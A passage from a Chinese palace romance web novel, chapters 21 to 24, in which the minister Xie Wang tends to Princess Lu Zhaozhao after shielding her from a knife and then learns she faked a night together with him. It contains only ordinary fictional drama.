谢谦坦诚地回答:“喜欢这种东西,很难用一些言辞准确地阐述。它是很复杂的,可又很简单。你若是喜欢一个人,你见到她就会很开心,你见不到她了,就会难过,想着她,想见她,想知道她过得好不好,过得开不开心。她开心呢,你也会跟着开心,她不开心呢,你也会跟着难过。你会情不自禁地想牵她的手,想抱她,想亲她,想和她做一些亲密之事,想和她生儿育女,组建家庭。就这么简单。” “可若要问为什么会喜欢,那就很难了,说不清楚,讲不明白的。” 谢妄垂下长眸,若有所思。 谢谦看着他的样子,拍了拍他的肩。 “多谢兄长。”谢妄说罢,转身离去。 郑婉然从房中出来,看着谢妄离去的背影,有些担忧:“缜之看起来不大好,这是怎么了?” 谢谦道:“缜之他也长大了。” - 从谢谦那儿回来后,谢妄便把自己关在了书房里,对照着谢谦的答案,比对自己。 他见到陆朝朝开心吗? 否。 以前见到她没什么感觉,现在见到她只有心烦。 见不到陆朝朝会难过吗? 否。 见不到倒觉得松了口气。 总是想着她,想见她吗? 否。 想着见不到她比较好。 她不开心自己会跟着不开心,她难过自己会跟着难过吗? 否。 想牵她的手,想亲她,想抱她吗? ……待定。 他是有过一些时刻对她有一些旖旎绮思,那些荒唐的梦不能否认,但是他也不能将那些归因到喜欢她上去。 想和她组建家庭,生儿育女吗? 否。 谢妄看着自己一面纸上的否字,心道这下可以证明他的确不喜欢陆朝朝了。 他不喜欢陆朝朝,陆朝朝也不喜欢他。 两全其美,不是吗? 胸口应当落下一块大石头,可不知怎么,谢妄却觉得也没那么轻松。隐隐约约坠着的沉重,好像棉花吸了水膨胀之后。 他搁下笔,不去深究这一缕细微的沉重是为什么,只是将那张宣纸揉皱,扔进废纸篓里。 他不喜欢陆朝朝。仅此而已。 一想到见到陆朝朝,她不知道又要怎样指使自己,谢妄便有些烦。故而后来几日他进宫面圣时,总会期待千万别和陆朝朝遇上。 大抵是上天听见了他的心声,故而一连半个月,他竟是一次也没遇上过陆朝朝了。宫里没有,宫外也不曾。 他应该感到庆幸,却不合时宜地想到,这么久了,她都未曾找过他,想来避子汤的事是安然无恙了。 谢妄不甚笃定,故而这日在千福殿与陛下议完政事后,他无意多问了一句:“近来似乎没见到昭阳公主过来。” 21、第二十一 他从前需要特意躲着她,才能十天遇不上她,如今他未曾特意躲开,竟也能半月遇不上她。 崇光帝听他提及昭阳,当即落下一声轻叹,有些头疼道:“前些日子太后自五台山回来,一回来便撞上昭阳她与明月二人争吵,昭阳她更是打了明月一巴掌,太后一向对昭阳不大喜欢,便罚她禁足宫中二十日,好好学规矩。朕本欲替她求情,又不好太违逆太后,只好作罢。” 崇光帝露出心疼的神色,他知晓朝朝的性子,此番被太后训斥惩罚,她定然要吃些苦头,她从小到大都被他捧在手心里,哪里吃过什么苦,肯定委屈死了。但太后毕竟是他的亲生母亲,他虽是皇帝,也得尽孝道,何况此事的确是朝朝做错了。崇光帝想着,等她禁足结束,定要好好补偿她一番,送她些什么才好。 谢妄垂眸,她被禁足了? 她打了明月公主…… 谢妄在心里想道,他认识的陆朝朝虽然有些娇纵,但却算不上一个蛮横的人,不可能会无缘无故打人,就算她和明月公主不对付,也不可能无故如此。 他这般想着,便问了出来:“昭阳公主不是这般无礼之人,不知二位公主发生了何事?” 崇光帝有些诧异地看了眼谢妄,他还以为旁人听闻此事,定然都会以为是朝朝做得不对,谢妄竟然会站在朝朝这边?他虽和朝朝一直吵吵闹闹,却清楚朝朝的本性,想来的确是个值得托付之人。 崇光帝心里越发打定要撮合他们俩的主意。 崇光帝顿了顿,说起那日之事。 那日陆朝朝原本在御花园中赏花,没想到陆皎月和萧紫渔也在御花园中赏花,二人迎面遇上,陆朝朝本不欲和陆皎月起冲突,只当没看见,唤了一声二皇姐便打算离开。 陆皎月那天心情并不好,她去见皇后时,皇后又劝她放下对陆朝朝母女二人的恨,陆皎月听了这话就心烦,没待一会儿就离开了慈元殿。没想到一出来就碰上陆朝朝。 陆皎月拦住陆朝朝去路,从头到脚将她打量一遍,嘲弄地开口:“三皇妹走得这么急做什么?不愿意和皇姐多聊几句么?” 陆朝朝站定,看了眼陆皎月,虽然不知道她又想作什么妖,但她也不怕陆皎月,索性陪她多聊两句。 “好啊,不知道二皇姐有什么话想我聊聊?” 陆皎月说:“三皇妹可愿意传授皇姐一些技巧?” 陆朝朝柳眉轻横:“什么技巧?” 陆皎月勾起嘴角,轻飘飘地开口:“当然是勾引男人的技巧了,听说最近三皇妹把谢大人也勾得团团转呢,我还真是好奇,谢大人那般清冷之人,三皇妹到底是怎么做到的?” 听见陆皎月这话,站在旁边的萧紫渔脸色变了变。 陆朝朝朝她翻了个白眼,陆皎月简直比谢妄还要讨厌,谢妄狗嘴里吐不出象牙,说的话让人生气,而陆皎月她狗嘴里说出来的话简直让人恶心。 陆皎月还在继续说:“哦,我忘了,三皇妹应当教不了我,狐媚这种事大抵是天生的,旁人当然怎么也学不来。贤妃会,所以三皇妹自然也会。” 陆朝朝听她以及自己母妃,眸色一冷,原本玩味的表情也严肃下来,她冷冷地开口:“你什么意思?” 陆皎月笑容轻蔑:“字面意思咯,贤妃当年不就是靠下贱狐媚手段才爬上了父皇的床,把父皇迷得晕头转向,这才有了你啊。幸好她死得早,可是她虽然死了,你还在啊,你又继承了她的衣钵不是么?你知道她为何死得早么,就是因为她该死。” 陆朝朝眸色越来越冷,在她落下最后一个话音时,手中的巴掌已经甩了上去。 响亮的一声,把陆皎月打懵了。 她有些歇斯底里:“你敢打我?你竟敢打我,你这个小贱人……” 陆皎月当即要上去以牙还牙,被宫女拉住,这一幕被不远处的太后撞见,太后脸色铁青,叫停了她们。 “住手,成何体统?”太后呵斥二人,看了眼陆朝朝,眼神冷到极致,甚至带了些许厌恶。 “昭阳,你这是做什么?她是你皇姐,你眼里还有一点规矩么?皇帝这些年娇纵你,把你惯得无法无天了,你这年岁,日后嫁去夫家也要如此丢天家颜面么?他不管,哀家可得替他好好管教管教。来人哪,把昭阳公主送回曦光殿,禁足二十日,齐嬷嬷,你亲自教教公主什么叫规矩。” 陆朝朝意欲辩解些什么,可太后已经带着陆皎月走远了。 已经半个月了,想到那天的事陆朝朝还是很气愤。 她拿着狼毫笔随意地在宣纸上乱写乱画,发泄心中的郁闷,讨厌的陆皎月,讨厌的太后。她知道太后一直不喜欢自己,从小到大太后看自己的眼神都很冷淡,甚至有些嫌恶,而对陆皎月就很好。 陆朝朝当然知道为什么,太后不喜欢她母妃,所以也不喜欢她。不过也没关系,太后偏心陆皎月,父皇偏心自己,她也没亏什么。小时候她还会故意讨好太后,后来明白了,太后对自己的敌意就是刻在骨子里的,改变不了,她也就随便了。 “要知道那天就应该打她两巴掌……”陆朝朝嘴里嘟囔着,把那张被她涂乱的纸揉皱,扔进废纸篓里,重新扯了一张过来,而后开始抄写。太后除了罚她禁足,让齐嬷嬷管教了她,还罚她这二十日每日都得抄经书,说是好好磨磨她的性子,让她收收心。 好在还有五天,她就可以自由了。 陆朝朝趴在桌上,数着日子,直到漫长的五天终于过去。 她解除禁足那日,简直欣喜万分,心情大好,而后直奔千福殿找崇光帝撒娇。 崇光帝那时正与谢妄商议政事,陆朝朝径直便提着裙摆冲了进来,而后一把从后面抱住崇光帝脖子,声音又娇又柔:“父皇,我想死你了,你想不想我啊?这么多天没见到朝朝,现在看见朝朝是不是很开心?是不是嘛?你快说啊!” 她一面说着,一面还拿毛茸茸的脑袋在崇光帝肩膀上蹭,活像一只可爱的狗狗。 谢妄默不作声往后退开了些,他垂下眸子,并不想让自己多看。二十日,她今日的确该出现了。 他可不是特意记着,只是比较聪明,对数字也比较敏感,所以才会想到。今日在进宫前,他还在想会不会与她遇上,当她的身影出现的时候,谢妄竟有种一件事落了地的感觉。 思及此,谢妄思绪忽然一顿。 他这应当算不上想要见到她吧? 何况现在他的心情也很平静,并没有因为见到她而觉得欣喜。 谢妄心又安了两分。 他低着头,虽然看不见父女二人的相处画面,却能听见声音。陆朝朝的声音清晰地传进他耳朵,与平时他所看见的陆朝朝不同,她的语气非常黏糊,倒是有点像……他那个梦。 原来她竟真有这样的时候。他晃了晃神,耳边仿佛那个梦的声音与当前的声音叠在一起。 那又如何,那也只是个梦。谢妄心想。 崇光帝的语气也变得很慈爱:“当然想你了,父皇今天看见你当然开心了。” 父女二人似乎并未打算立刻结束对话,看来今天商议政事的事要暂时搁置了,谢妄正欲开口告辞,陆朝朝先一步开了口:“你也在啊?父皇,我是不是打扰你了?可是我今天真的特别想你,要不你们明天再继续吧,好不好?” 后面的话就是跟崇光帝说的了。 谢妄感觉到她今日对自己的态度截然不同,尽管只有一句是和他说的,但那一句话的语气很是欣喜,不见往日里对他的敌意。 谢妄有些诧异,不由得抬眸看向陆朝朝。 “好啦,谢妄你可以回家啦。”她接收到谢妄的眼神,对他说。 兴许是她方才同崇光帝撒娇,故而连带着这一句也带上了撒娇的余韵似的,何况还有她明艳的笑容。谢妄晃了晃神。 “是,臣告退。”他垂下头,掩住眼中的情绪。 待跨出千福殿的门槛,身后少女黏糊糊的撒娇声音还锲而不舍地追上来,叫他听得清楚明白。 “父皇,我这几天快要闷死了……” 她的声音很甜,但却显得有些刺耳。谢妄知道她不是故意说给自己听的,但似乎达成了这种效果似的。 他快步往前走,直至完全听不见任何声响,他绷直的脊背才松懈下来。 不知道为什么,听见她这么甜的声音,他总有种不自在的感觉。 还是平日里那种与他较劲的声音他比较习惯。 从宫里一回来,林娇便又凑了过来,小心翼翼地询问他与昭阳公主今日可有相处,相处如何。 “你可以适当展现一下自己嘛,让公主对你回心转意啊。” 谢妄已经不想再多费口舌和林娇解释他真的不喜欢陆朝朝了,他只是把书房门合上,杜绝了林娇的喋喋不休。 脑海中却不合时宜地闪过她那一句甜甜的黏糊的话:“谢妄……” “谢妄,我好想你,你想不想我?这么久没见,你都不想我的嘛?”她的嗓音像隔着雾,渺远地落在他耳畔。 谢妄思绪有些迟滞,而后感觉到她毛茸茸的脑袋在自己脖颈间乱蹭着,她身上那种香气也扑过来,而她细嫩的胳膊搂着他,亲密无间。 “你快说嘛,你想我嘛?女儿都说好想我的。” 谢妄用迟滞的思绪思索她的话,女儿? 他正想着,忽地有个小娃娃从门口溜进来,奶声奶气地说话:“爹爹,娘亲,你们又背着我做羞羞的事情……” 谢妄猛地睁开眼,梦境再次戛然而止。 “……”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 22、第二十二 他觉得今夜的梦越发荒谬了。 俨然是幸福的一家三口,倘若男女主人不是他和陆朝朝,那当真是极其温馨的一幕,就好似兄长与大嫂。 任是谁都可能,就他与陆朝朝绝无可能。 他近来的梦做得太多了,该安安神了。 - 虽说才被禁足二十日,可失去自由的日子实在难熬,漫长得一刻仿佛一百年似的,故而重获自由后,陆朝朝难免有些报复似的,当即约了傅宝嘉出宫玩。 傅宝嘉听说了她惹怒太后被罚的事,正为她担心不已,得到她消息忙不迭出来陪她,见她没什么事这才放了心。 “还好你没事。”傅宝嘉说着,又有些担心,“不过你才惹恼了太后娘娘,这么快便出宫来玩,被太后娘娘知道了,她不会又借机发难吧?” 陆朝朝并不担心:“我出不出宫都不妨碍她讨厌我,她若是想借机发难,我便是待在宫里她也会挑我的刺,还不如出宫来玩儿。再说了,父皇会帮着我的。上回是因为我打了陆皎月,父皇不好偏帮我。” 傅宝嘉有些惊讶:“你打了她?她究竟做了什么让你这么生气?” 就算知道陆朝朝和陆皎月不和多年,但动起手来这还是第一回呢。 陆朝朝撇撇嘴:“她说我母妃了,她那张臭嘴,比谢妄嘴巴还臭,你又不是不知道。我没忍住,就打了她一巴掌,要知道,我就该打她两巴掌。”她哼了声。 傅宝嘉也帮腔:“她也真是的,活该被你打。” 她们一面低声说着话,一面往铺子里逛。她们逛的铺子是一家京城老字号的珠宝首饰铺子,芙蓉阁,它家工艺好,样式也时兴独特,与旁家不同,每每推出新品都很快被一抢而空,不少达官显贵家中女眷都爱来此挑新出的首饰,来得晚了还挑不上新品。 陆朝朝虽贵为公主,宫里的东西当然称得上天下最好,但那些东西大多美丽得千篇一律,朝朝从小见多了,反倒没那么新鲜。何况女子之间逛街的乐趣更是无与伦比,所以陆朝朝常来芙蓉阁。 陆朝朝与傅宝嘉二人是这里的常客,从掌柜到伙计都认识她们,知道是贵客,热情相迎。 “二位贵客,本店正好推出了新品,可要瞧瞧?”伙计拥着二人上楼。 芙蓉阁生意红火,铺面当然也做得大,一连占了三间,还有二楼。 看着二人背影消失在楼梯口,屏风之后的谢妄主仆几人皆是不语。 林娇前些日子新得了一块红宝石,便在芙蓉阁定制了一条项链,今日项链做好,她让谢妄回去时顺带取一下。谢妄也没想到,会遇上陆朝朝,还听见了她骂自己“嘴巴臭”。 他长眸沉敛,周遭的铺子里热闹喧嚣,但他们脚下这一块地方却是冰封万里。万山垂着脑袋,方才昭阳公主的话他也听见了,他知道公子肯定也听见了,所以可想而知此刻公子的心情如何,在这种时候,他最好连看都不要看公子一眼,否则公子一定会迁怒自己。 没想到公子却特意点他:“我……说话难听吗?” 万山心道,亏您还好意思问,那哪是难听,那是非常难听啊。 但这话哪能直接说? 万山摇头:“没有的事,公子只是说话直接,常常一针见血。” 谢妄对他的回答很满意,正巧话罢,掌柜便将林娇定制的项链送了过来。 “谢大人,久等了,这便是谢夫人定制的项链,您收好。”掌柜的看了眼谢妄,又抓紧机会推荐,“近来小店新推出了一批首饰,谢大人可要看看?可以送给心上人啊。这批首饰可有不少姑娘家喜欢呢,像昭阳公主就喜欢得紧。” 掌柜的常做达官显贵的生意,自然也有些人脉,知晓谢妄尚未成婚,家中也没有姊妹,但这般年轻有为的郎君,总有个心上人吧。 谢妄听得掌柜的话,当即眉头一皱,怎的连这掌柜也觉得陆朝朝是他心上人? 他淡声回绝:“不必了,昭阳公主并非我的心上人。” 说罢,便拿着林娇的项链走了。 掌柜看着他的背影一怔,这、他也没说他的心上人是昭阳公主啊…… 虽如此,还是客气着道:“您慢走,欢迎下回再光临小店。” 谢妄心情有点差,步子走得快了些,刚跨出芙蓉阁的门,忽地听见一道惊喜的嗓音: “谢大人。” 他步履一顿,看见迎面走来的萧紫渔,行礼:“常宁郡主。” 萧紫渔嘴角上扬,克制地往下压了压,她目光触及他手中的锦盒,道:“大人也来芙蓉阁买首饰?” 谢妄如实回答:“是我母亲的,托我顺路取回。” 萧紫渔点点头,还想和他多说几句话,一时又不知说些什么,正思忖之际,谢妄已经提步往前,意欲离开。 “大人且慢。”萧紫渔看着他背影,有些急切道,“我有一些事想同大人说,不知可否耽误大人一些时间。” “是很重要的事。”她咬唇,补充道。 那日桃花宴上,她本欲开口剖白自己心迹,可没来得及说出口,谢妄便走了。她当日很失落,可后来又总觉得不甘心。 人若是想做一件事的时候,未能做成,便总想将它做成。 她已经喜欢谢妄很久了,久到几乎成了自己的执念。她觉得该到了说出口的时候,不论结果如何,她总要为自己争取一次。 萧紫渔期待地看向谢妄,等待着他的回答。 谢妄道:“郡主请说。” 萧紫渔心往下坠回几分,还好他没有直接拒绝…… 她看了看四下,来来往往的客人络绎不绝,不适合讨论这种事,她道:“大人可否随我去旁边的茶坊小坐片刻?” 谢妄有点烦,他不知道常宁郡主要和自己说什么事,只觉得去茶坊有些耽误时间,若是她愿意在这儿说,他或许还愿意听一听。 正要拒绝,鬼使神差想到方才掌柜的话。 他记得前几年京城也有传闻说他与常宁郡主有些什么,后来谣言便不了了之了,若是今日他答应了常宁郡主的请求,众目睽睽之下,如此他们总不会还觉得他与陆朝朝有些什么吧? 谢妄将到了嘴边的话咽了下去,微微颔首。 萧紫渔心中大喜,和谢妄二人走进最近的茶坊。 “他果然待萧紫渔不同啊。”二楼凭栏张望的陆朝朝撇嘴,若是换了旁人,他定然不会给好脸色。 “不知道萧紫渔要和他说什么?不会是表白吧?”陆朝朝轻嘶了声,萧紫渔喜欢谢妄这件事,连陆朝朝都看得出来,陆朝朝一直觉得萧紫渔眼睛有问题。 若真是表白,这可是好大的八卦,陆朝朝来了些兴致,拉起傅宝嘉就往外走:“宝嘉,咱们去看看,待会儿再回来挑首饰。” 她很好奇,若是萧紫渔同谢妄表明情意,谢妄会接受吗? 他对萧紫渔和待旁人不同,但似乎也没有到喜欢的地步。 萧紫渔与谢妄二人进了一间雅间,陆朝朝和傅宝嘉紧随其后。雅间的门关着,听不清楚里面的人说话。 傅宝嘉对这种凑热闹的事一向很有兴致,问道:“咱们也听不见啊,朝朝。” 陆朝朝道:“很简单,咱们只要观察待会儿萧紫渔出来时的神情就知道了。她若是很高兴呢,那就说明谢妄十有八九答应了,她若是不高兴呢,那就是没答应。” 傅宝嘉点点头,很有道理。 二人便静静等待着。 一墙之隔,萧紫渔与谢妄面对面坐着。 谢妄神色疏淡,与平素没什么分别:“郡主请说吧。” 萧紫渔看着他,笑了笑,道:“不知大人觉得我这人如何?” 谢妄仍是淡淡的:“郡主兰心蕙质,端庄知礼,自然很好。” 萧紫渔点点头,继续说下去:“我亦觉得大人才华横溢,能力非凡,故而……从十岁起便倾慕大人。” 她说罢,看着谢妄,观察着他的反应。 谢妄微微拧眉,没想到萧紫渔今日找他竟是要说这件事,但心里的波澜也不过片刻,便消了下去。 “多谢郡主抬爱,谢某并无此意。”从前也有许多人向他表明过心意,他像拒绝她们一样,拒绝了她。 视线里的人慢慢变得模糊起来,萧紫渔绷着背脊,维持着自己的体面,但声音还是泄露出几分颤抖:“谢大人可有心上人?” 心上人这三个字一出来,谢妄脑海中便浮现出陆朝朝的脸。 须臾,他道:“没有。谢某只是暂时无意成家。” 萧紫渔维持着嘴角的笑:“暂时?那谢大人打算何时成家?” 谢妄道:“谢某没有考虑过。” 萧紫渔深吸了一口气,把眼泪憋回去,又道:“既然谢大人没有考虑过,而谢大人也没有心上人,谢大人为何不考虑一下我?除非谢大人一辈子都不打算娶妻,不然谢大人总是要成家的。而我认为我可以做好谢大人的妻子这个角色,谢大人方才也说我很好,不是么?谢大人待我无意,但只要愿与我相敬如宾,这便够了。” 谢妄沉默不语,他的确没有打算一辈子不成家,只是暂时没有这个想法,他不知道自己日后会不会有一个喜欢的人,若是有那自然最好,若是没有呢?他应当会娶一个如萧紫渔这般的女子,组建一个和谐的家庭。 他脑海中再次闪过昨夜的梦。 那和谐却又诡异的一幕。 谢妄抿了抿唇,还是拒绝:“日后的事谢某不知,郡主还是别在我身上浪费时间了。” 萧紫渔眼泪瞬间滑落,她没想到谢妄会拒绝得如此彻底。 她强撑着体面,笑道:“好,多谢大人。今日之事,还望大人替我保守秘密。” 谢妄嗯了声。 “出来了出来了……”陆朝朝和傅宝嘉两个人都紧紧盯着门口。 只见萧紫渔眼睛红着,像是刚哭过。 陆朝朝挑眉,看来谢妄是拒绝了。 为着观察,二人的雅间门并未关严实,留了一半敞着,故而谢妄一侧身,便对上陆朝朝的脸。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 23、第二十三 谢妄蹙眉,她怎么也在这里? 陆朝朝被他看了一眼,登时有些心虚,迅速撇清关系:“我没跟踪你。” 谢妄:“……” 他就说这位小公主不太聪明,这话简直此地无银三百两。 陆朝朝说完,也意识到了,破罐子破摔道:“好吧,我就是在芙蓉阁听见你和萧紫渔说话,所以有些好奇,这才跟了过来。” 谢妄看见她,想到自己方才脑中闪过的画面,不由垂眸,无端有些心烦,抬腿便想走。 陆朝朝跨出雅间门,命他站住:“你走什么?我话还没说完呢。” 谢妄忽地想到在芙蓉阁听见的她对自己的评价,冷冷道:“臣嘴臭,怕熏到公主。” 陆朝朝:“……” 他今天竟然这么有自知之明,好不对劲。 “原来你也知道自己嘴臭啊,我还以为你不知道呢。”陆朝朝感叹。 谢妄不语,他还真不知道。 陆朝朝没有多纠结此事,她更关心别的,问起:“你干嘛拒绝她?我还以为你会答应呢。” 虽然她看不出来谢妄喜欢萧紫渔,但谢妄对萧紫渔的确和别人不同,何况他们这些世家贵族之间的婚姻多数都不是出于感情,更多是出于家世门第以及利益。萧紫渔身份高贵,才貌双全,的确是个不错的妻子人选。 谢妄想到方才答应过萧紫渔要替她保守秘密,只道:“这是臣的私事,恕臣不想告诉公主。” 陆朝朝撇嘴,臭脾气,真让人讨厌。 “我就是随口一问,你不说就不说。”她越过谢妄,从他身边经过时特意拿胳膊撞了撞他,“让开,挡着本宫的路了。” “宝嘉,我们回芙蓉阁。”陆朝朝有些生气。 谢妄看着她背影走出一段,才步下楼梯。 陆朝朝和傅宝嘉走到茶坊门口,才发现就这一会儿的功夫,天色便倾颓下来,仿佛一张暗色的网,沉沉地笼着京都,看着要落场大雨。二人思忖的功夫,倾盆大雨便落了下来,截断了她们去路。 二人往后退回茶坊,这样大的雨,她们方才匆匆过来,并未带伞,一时半会儿走不了。索性回来续上方才那壶茶,待雨停了再走。 谢妄看着她们背影折返,几人又在堂中遇上。 陆朝朝故意不看他,正要上楼再回去先前的雅间,左侧的位置忽地爆发出一阵喧嚣,似乎是二人吵了起来。 “你再说一句?你敢再说一句?那是我的妻子,你当我是什么?”那人掀翻了茶桌,桌上的茶壶杯盏碎了一地,这动静吸引了众人的注意。 陆朝朝也停下脚步,朝那动静的来源看去。这一看便是无妄之灾,那两个人不知何缘故吵了起来,转瞬便动起手来。其中一人竟随身带了一把匕首,便要朝另一个人刺去,另一人拿起手边的长凳,将那人的匕首挡了出去。 那匕首便飞了出来,直直奔着陆朝朝而来。 这意外太措手不及,陆朝朝怔在原地,躲闪不及,吓得闭上了眼睛。 傅宝嘉到底出身武将世家,反应更快,想要拦住那飞来的匕首,只是她反应不够迅速,眼看着还是慢一步,挡是挡不住了。傅宝嘉心沉到谷底,惊呼一声:“朝朝!” 陆朝朝听得傅宝嘉的呼声,更是心惊肉跳,一瞬间脑袋空白一片。 好一会儿,才缓过神来,想象中的疼痛并未出现。 她睁开眼,对上谢妄的眼睛。 他那张脸是陆朝朝都承认的好看,只是总冷冷的,眼睛也是,总是衬着高傲。她总觉得他若是柔和些,那张脸会更好看。 而在这一刻,陆朝朝竟从他眼睛里看出了一些波澜,像紧张,像担忧。 谢妄道:“公主没事吧?” 陆朝朝迟钝地摇摇头:“好像没有……” 她目光落到下方,惊得吸了一口气,谢妄的胳膊上衣料破了一个口子,鲜血正往外渗。 “你……”她呆滞,又抬眸看谢妄。 谢妄替她挡了那匕首,用他自己的肉身。 “你还好吗?”她吞咽一声,真心实意地关切。 谢妄嗯了声:“死不了。” 千山被这意外吓了一跳,呵斥道:“尔等竟敢伤昭阳公主!” 那两个打架的人被这一声吓到,他们并非故意伤到昭阳公主,脸色都有些难看。 谢妄看了他们一眼,道:“将人扣下,通知京都府的人。” 这等小事不归刑部管,归京都府管。 傅宝嘉也是吓得不轻,连忙上前来查看情况,见朝朝没事,又看谢妄,“谢大人,你受伤了……” 陆朝朝看向风荷道:“快去请个大夫来。” 话音刚落,一声惊雷落下。 她咬唇,忘了还下着大雨,这天气可不便出去。 那茶坊老板得知面前这位是昭阳公主,都快吓破胆了,若是这等贵人在他的茶坊出了事,他定要脑袋搬家。茶坊老板赶紧道:“贵人,店里有伤药,这天气恐怕不便行走,大夫过来也要些时间,不如先给这位贵人包扎一下吧。” 陆朝朝觉得茶坊老板说得有理,点头:“也好。” 楼下乱糟糟的,几人便又回到了楼上雅间里。陆朝朝有些担心地看向谢妄,千山正给他包扎伤口,她忍不住看向他的伤处。 如果不是他,那这伤处就该在自己身上了。 伤口不算太深,但流的血不少,鲜血染红了包扎的细布,看得陆朝朝又是一番心惊肉跳。她都不敢想,这要是自己,该有多疼。她最怕疼了。 思及此处,陆朝朝对谢妄说:“谢妄,谢谢你啊。” 谢妄还是淡淡的语气,好像一点也不疼似的:“抱住殿下是臣分内之事。” 话虽如此,但换了别人,未必会用自己的身体来保护她。 而且陆朝朝还记得谢妄以前的行事,他可没有风度了,他竟然也会有这么有风度的时候。陆朝朝很惊讶。 “不管怎么说,还是要多谢你。”她又道了一次谢。 她心里有种奇异的感觉,感觉以前好像看错了谢妄,他其实……也没那么讨厌吧。 陆朝朝别扭地扭过头,又说:“你放心,我回宫之后就跟父皇说,让他给你赏点千年人参什么的,你吃了就能快点好。” 谢妄抿唇:“多谢公主。” 他自己都没想到自己方才会替她挡那一下,虽说他是臣子,她是公主,按说保护她是他的分内之事,但是他明明可以不必用这种方式保护她。 他分明可以将她拉开,亦或者用别的东西挡开那一下,可是那一刹那似乎忘了想这些,在做出思考之前,他的手已经伸了出去。 他吐出一口气,决定不再想这件事。 就当是因为保护她是他的分内之事,他不能让她受伤,否则陛下那里定然会怪罪。 就是这样。 谢妄垂着眸子,看着自己的伤处愣神。 陆朝朝视线也落在他的伤处上,她眉头紧紧皱着,一张脸上写满了担心:“那个……你痛不痛啊?” 谢妄没觉得很痛,他在痛觉上并不敏感,何况这也不是什么大伤。他摇头:“还好。” 陆朝朝哦了声,还好……那也就是还是痛的,看着就痛,幸好没痛在她身上。她一方面庆幸,一方面又有些担心谢妄。 接下来的时间里,小公主隔三差五地往他伤口瞟。谢妄看在眼里,却不知说些什么。他忽然想通了方才的事,他的确应该保护她,她的身份除了是公主,还是……与他有过夫妻之实的人。 谢妄小声说:“公主这些日子一些可都好?” 陆朝朝点头:“还行,除了被太后罚了禁足有点烦,别的都挺好的。” 谢妄声音压得更低:“那公主的……一切也都如常吧?” 陆朝朝愣了下,才反应过来他问的是什么。她忽然有些愧疚,他这般舍命救自己,可她还在骗他。原本骗他只是为了挫挫他的锐气,这么久了,让他学了狗叫,让他听自己的话,好像也够了。 “那个,其实……”陆朝朝一时顿住,不知道该怎么开口。 正当此际,风荷领着大夫回来了。 大夫匆忙进来,替谢妄查看伤势。陆朝朝轻叹一声,把话咽了回去,退到一边。 大夫查看完伤势,“还好,伤口不深,只是伤到了皮肉,只要每日换药,养上些日子就好了。切忌让伤口沾到水。” 大夫又开了些药,便走了,万山送大夫出去,并支付诊金。 雨还在下着,天暗得像晚上,不时会有几道雷声。陆朝朝看了眼窗外,看这情形,一时半会儿走不了了。 她在圆凳上坐下,又看了眼谢妄,想把刚才的话说完,可又不知道该怎么开口:“……你说他们为什么打架?” 傅宝嘉方才去打探了此事,开口道:“我知道,我刚去问了,说是其中一个是个浪荡子,到处拈花惹草,惹上了另一人的妻子,那人气不过,便约他出来谈,结果谈着谈着还被嘲讽说,是因为他不举,所以他妻子才会跟他好的。那人听了恼羞成怒,就动手了。” 傅宝嘉绘声绘色说完,还点评了一句:“所以说男人要洁身自好,不然可能性命都要丢了。” 陆朝朝:“……” 她现在对这种八卦不感兴趣。 陆朝朝拉着傅宝嘉出了雅间,跟她说起自己的苦恼:“宝嘉,怎么办?我好愧疚。” 傅宝嘉啊了声,还在状况之外:“怎么了?” 陆朝朝踱步:“谢妄救了我,结果我还在骗他,我觉得骗他也骗够了,想把真相告诉他。可是我又怕他知道真相,会非常生气,怎么办啊?” 谢妄往前的动作一顿,什么真相?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 24-30 第24章 第二十四他竟还有一种难言的失望。…… 他放缓了呼吸,凝神听她们二人接下来的对话,她骗了自己什么? 只听见她如莺啼般的嗓音传入他耳中:“宝嘉,你说有没有可能,他知道那天晚上其实什么事也没发生,我只是把他迷晕了,然后骗他说我们有什么之后,他不会生气。” 傅宝嘉沉吟片刻,笃定地回答:“我觉得没有这种可能。” 陆朝朝小脸一垮,声音哀怨:“那怎么办?我现在真的好内疚。我真的不知道该怎么告诉他,而且我也不是故意的呀,我本来只是想捉章安澜为婿,谁知道他那天跟章安澜在一块还搞错了。” 陆朝朝话音未落,听得身后传来一声寒霜般的话语:“你说什么?” 陆朝朝被这一声吓得魂飞魄散,身形一颤,僵在原地不敢回头。 好好好,这回是真的完蛋了。 他不是在雅间里待着么,怎么会突然走出来了,而且他怎么走路一点声音都没有啊! 但好像也有好消息,至少不用纠结怎么告诉他了…… 陆朝朝看了眼傅宝嘉,小声询问:“他看起来脸色怎么样?” 傅宝嘉看了眼谢妄,诚实回答:“从来没有这么难看过。” 陆朝朝:“……” 她深吸一口气,终于缓缓转过身,努力让自己看起来镇定一点:“呵呵呵呵,你怎么出来了?你的手不痛吗?” 她的笑容从来没有这么僵硬过,而面前的谢妄的脸色,的确如傅宝嘉所言,前所未有的难看,一双眼直直盯着她,周遭的空气温度仿佛都低了几度。 一道惊雷落下,闪电映在他脸上,衬得他整个人更可怕了。 陆朝朝解释道:“你都听见了是吗?好吧,我可以和你解释。其实我也不是故意的,那天真的是个意外,我本来是想捉章安澜为婿,结果不知道为什么,你被迷晕了送进宫里来了,我当时发现搞错了,本来想赶紧把你送回去的,可是那天晚上刚好杨将军当值,你也知道他一向一丝不苟的,我怕解释不清楚,就只好先让你留下来了。 第二天的时候,我看见你,就想到你老是跟我过不去,老是爱说一些很气人的话,我又想到那天在跃龙池的事,我越想就越生气,就想小小的报复你一下……所以我才骗了你。” 她越说,声音越低下去,全然没有底气。 她没把宝嘉说出来,毕竟当下的情形看起来谢妄非常生气,若他日后要报复,还是只报复自己比较好。她是公主,谢妄再怎么报复她,也不能真拿她如何,可宝嘉不同,万一他给宝嘉家中穿小鞋怎么办? 谢妄视线钉在她身上,冷冷开口:“公主还真是豁得出去,为了报复我,竟连这种事也可以用来扯谎。” 他从一开始便以为,她不会用这种事骗人,所以未曾怀疑过她,可到头来,她竟然真的在骗他。 陆朝朝继续小声说:“我还以为你会很快就发现的,谁知道你竟然一直相信……” 谢妄道:“是,怪臣愚钝。” 他阴阳怪气的语气让陆朝朝听着很不舒服,但此刻她确实做得不对,只好垂着脑袋,小声反驳说:“也不能全怪你愚钝,也得怪你以前老爱气我,你要是以前没这么讨厌,我就不会想报复你了。” 她觉得自己说得很有道理,说着偷偷瞄了眼谢妄的表情,他的表情还是很难看。 “哦,原来还怪臣从前总惹公主生气。”他声音好像更冷了。 